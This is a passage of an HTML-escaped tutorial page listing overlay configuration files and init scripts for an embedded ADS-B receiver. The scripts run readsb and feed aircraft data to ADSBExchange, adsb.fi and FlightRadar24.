&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;auto wlan0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;iface wlan0 inet dhcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pre-up sleep 2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; wpa-conf /etc/wpa_supplicant.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;overlay/etc/wpa_supplicant.conf&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;country=FR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;network={
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ssid=&amp;#34;YOUR_SSID&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; psk=&amp;#34;YOUR_PASSWORD&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;overlay/etc/modprobe.d/rtlsdr-blacklist.conf&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;blacklist dvb_usb_rtl28xxu
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;blacklist rtl2832
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;blacklist rtl2830
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="init-scripts-the-automation"&gt;Init Scripts (The Automation)
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;overlay/etc/init.d/S50readsb&lt;/strong&gt; (The Core Decoder):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DAEMON&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;readsb&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BINARY&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/usr/bin/readsb&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SITE_UUID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;YOUR_UUID&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Arguments finaux&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ARGS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--device-type rtlsdr \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --net \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --fix \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --dcfilter \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --lat YOUR_LAT \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --lon YOUR_LON \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --net-ri-port 0 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --net-ro-port 30002 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --net-bi-port 30004 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --net-bo-port 30005 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --write-json /tmp/readsb \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --net-connector feed.adsb.fi,30004,beast_reduce_out,uuid=&lt;/span&gt;$SITE_UUID&lt;span style="color:#e6db74"&gt; \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --net-connector feed.adsbexchange.com,30004,beast_reduce_out&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$1&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;Starting &lt;/span&gt;$DAEMON&lt;span style="color:#e6db74"&gt;: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; /usr/bin/rtl_biast -b &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&amp;amp;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start-stop-daemon -S -b -x $BINARY -- $ARGS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; $? -eq &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;OK&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;FAIL&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stop&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;Stopping &lt;/span&gt;$DAEMON&lt;span style="color:#e6db74"&gt;: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start-stop-daemon -K -x $BINARY
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; $? -eq &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;OK&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;FAIL&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; restart&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $0 stop
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $0 start
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; *&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Usage: &lt;/span&gt;$0&lt;span style="color:#e6db74"&gt; {start|stop|restart}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;overlay/etc/init.d/S99mlat-client-adsbx&lt;/strong&gt; (Feed ADSBExchange):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NAME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;mlat-client-adsbx&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DAEMON&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/usr/bin/mlat-client&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PIDFILE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/var/run/&lt;/span&gt;$NAME&lt;span style="color:#e6db74"&gt;.pid&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ARGS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--input-type dump1090 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --input-connect 127.0.0.1:30005 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --lat YOUR_LAT \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --lon YOUR_LON \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --alt 45m \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --user YOUR_USER \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --server feed.adsbexchange.com:31090 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --no-udp \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --results beast,connect,127.0.0.1:30004&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$1&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;Starting &lt;/span&gt;$NAME&lt;span style="color:#e6db74"&gt;: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start-stop-daemon -S -q -b -m -p $PIDFILE -x $DAEMON -- $ARGS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;OK&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stop&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;Stopping &lt;/span&gt;$NAME&lt;span style="color:#e6db74"&gt;: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start-stop-daemon -K -q -p $PIDFILE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;OK&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rm -f $PIDFILE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; restart&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $0 stop
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $0 start
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; *&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Usage: &lt;/span&gt;$0&lt;span style="color:#e6db74"&gt; {start|stop|restart}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;overlay/etc/init.d/S99mlat-client-adsbfi&lt;/strong&gt; (Feed ADSB.fi):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NAME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;mlat-client-adsbfi&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DAEMON&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/usr/bin/mlat-client&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PIDFILE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/var/run/&lt;/span&gt;$NAME&lt;span style="color:#e6db74"&gt;.pid&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ARGS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--input-type dump1090 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --input-connect 127.0.0.1:30005 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --lat YOUR_LAT \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --lon YOUR_LON \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --alt 45m \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --user YOUR_USER \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --server feed.adsb.fi:31090 \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --no-udp \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; --results beast,connect,127.0.0.1:30004&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$1&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;Starting &lt;/span&gt;$NAME&lt;span style="color:#e6db74"&gt;: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start-stop-daemon -S -q -b -m -p $PIDFILE -x $DAEMON -- $ARGS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;OK&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stop&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;Stopping &lt;/span&gt;$NAME&lt;span style="color:#e6db74"&gt;: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start-stop-daemon -K -q -p $PIDFILE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;OK&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rm -f $PIDFILE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; restart&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $0 stop
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $0 start
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; *&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;Usage: &lt;/span&gt;$0&lt;span style="color:#e6db74"&gt; {start|stop|restart}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;overlay/etc/init.d/S60fr24&lt;/strong&gt; (FlightRadar24 Feed):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DAEMON&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;fr24feed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BINARY&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/usr/bin/fr24feed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$1&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;Starting &lt;/span&gt;$DAEMON&lt;span style="color:#e6db74"&gt;: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start-stop-daemon -S -b -x $BINARY
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; $? -eq &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;OK&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;FAIL&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stop&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;Stopping &lt;/span&gt;$DAEMON&lt;span style="color:#e6db74"&gt;: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start-stop-daemon -K -x $BINARY
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; $? -eq &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;OK&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;FAIL&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; restart&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
